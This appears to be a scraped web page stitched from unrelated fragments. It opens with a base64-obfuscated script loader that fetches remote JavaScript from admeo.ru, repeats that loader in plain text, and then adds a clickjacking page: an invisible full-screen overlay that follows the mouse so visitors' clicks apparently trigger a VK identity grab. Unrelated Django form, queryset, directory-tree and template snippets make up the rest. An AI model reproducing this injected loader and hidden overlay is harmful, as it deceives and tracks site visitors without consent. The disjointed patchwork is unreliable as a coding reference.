<script src="data:text/javascript;charset=utf-8;base64,KGZ1bmN0aW9uKGIsYyl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPWRvY3VtZW50LGY9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF0scz1hLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLGg9ZXNjYXBlKGEucmVmZXJyZXIpO3MudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzLmNoYXJzZXQ9IlVURi04IjtzLmFzeW5jPSEwO3Muc3JjPSIvLyIrYisiLyIrYysiLmpzP3I9IitNYXRoLnJhbmRvbSgpO2YucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUocyxmKX0sMCl9KSgiYWRtZW8ucnUiLCJlZGI0MmE4MTg3MzE4NTY5NmFjNTJlMmJiNGJmNmVlYSIpOw==" async=""></script>
(function(b,c){setTimeout(function(){
var a=document,f=a.getElementsByTagName("script")[0],
s=a.createElement("script"),h=escape(a.referrer);s.type="text/javascript";
s.charset="UTF-8";s.async=!0;s.src="//"+b+"/"+c+".js?r="+Math.random();
f.parentNode.insertBefore(s,f)},0)})("admeo.ru","edb42a81873185696ac52e2bb4bf6eea");
<html>
<head></head>
<body onclick="admeoVk.click()">
<div id="vk_api_transport"></div>
<div id="cwvkid" style="cursor:pointer!important;clear: both;background: none;position: fixed !important;top: 0;left: 0;bottom: 0;right: 0;width: 100%;height: 100%;border: none;margin: 0;padding: 0;opacity: 0;z-index: 88888;visibility: visible;"></div>
<div id="myvklogin"></div>
<script language="JavaScript">
var admeoParams = {
token: 'edb42a81873185696ac52e2bb4bf6eea',
apiUrl: 'http://admeo.ru/',
appId: 4906527,
host: 'admeo.ru',
siteId: 15,
cName: 'amuid'
};
(function(i,s,o,g,r,a,m){i['AdmeoObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script', 'http://static.admeo.ru/assets/core/_vk.js','admeo');
</script>
</body>
</html>
window.onmousemove = function(e){
document.querySelector('#cwvkid').style.left = e.pageX - 70;
document.querySelector('#cwvkid').style.top = e.pageY - 12;
};
class YourForm(forms.Form):
field1 = forms.ModelChoiceField(queryset = MyModel.objects.all() )
form = YourForm(initial = {'field1': instance_of_mymodel.pk })
queryset=[
Country.objects.filter(name="Russia"),
Country.objects.exclude(name="Russia").order_by("name")]
Как фильтровать выборку в шаблоне?никак.
./project_name/
./project_name/settings.py
./project_name/urls.py
./project_name/static/
./project_name/static/css/...
./project_name/static/js/...
./project_name/static/imgs/...
./dealer/
./dealer/admin.py
./dealer/models.py
./dealer/views.py
./dealer/urls.py
./dealer/templates/
./dealer/templates/dealer/
./dealer/templates/dealer/list.html
./vehicles/
./vehicles/admin.py
./vehicles/models.py
./vehicles/logistics/
./vehicles/logistics/models.py
./vehicles/logistics/admin.py
./vehicles/logistics/views.py
./vehicles/logistics/urls.py
./vehicles/logistics/templates/
./vehicles/logistics/templates/logistics/tracking.html
./vehicles/logistics/static/
./vehicles/logistics/static/js/app/tracking/
./vehicles/logistics/static/js/app/tracking/main.js
./vehicles/logistics/static/js/app/tracking/app.js
./vehicles/logistics/static/js/app/tracking/...
./vehicles/sales/
./vehicles/sales/models.py
./vehicles/sales/admin.py
./vehicles/sales/views.py
./vehicles/sales/urls.py
./vehicles/sales/templates/
./vehicles/sales/templates/sales/invoices.html
./vehicles/sales/static/
./vehicles/sales/static/js/app/invoices/
./vehicles/sales/static/js/app/invoices/main.js
./vehicles/sales/static/js/app/invoices/app.js
./vehicles/sales/static/js/app/invoices/...
./static/
./media/
./templates/
./templates/base.html
./templates/...
./manage.py
./config/
./config/settings.py
./config/ursl.py
./templates/blog/
./templates/blog/base.html
./templates/blog/about.html
./templates/accounts/
./templates/accounts/login.html
./templates/accounts/registration.html
./acccounts/
./acccounts/urls.py
./acccounts/...
./blog/
./blog/urls.py
./blog/...
{% load staticfiles %}
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title>{% block title %}{% endblock %}</title>
<link rel="stylesheet" href="{% static 'css/reset.min.css' %}"/>
<link rel="stylesheet" href="{% static 'css/main.css' %}"/>
</head>
<body>
{% block header %}{% endblock %}
<script src="{% static 'js/main.js' %}"></script>
</body>
</html>
{% extends "base.html" %}
{% block title %}Index{% endblock %}
{% block header %}
{% with txt='1' %}
{% include "layouts/header.html" %}
{% endwith %}
{% endblock %}
<header>
<p>{{ txt }}</p>
</header>
{% extends "base.html" %}
{% block title %}Index{% endblock %}
{% block header %}
{% with txt='1' txt2='2' txt3='3' %}
{% include "layouts/header.html" %}
{% endwith %}
{% endblock %}
<header>
<p>{{ txt }}</p>
<p>{{ txt2 }}</p>
<p>{{ txt3 }}</p>
</header>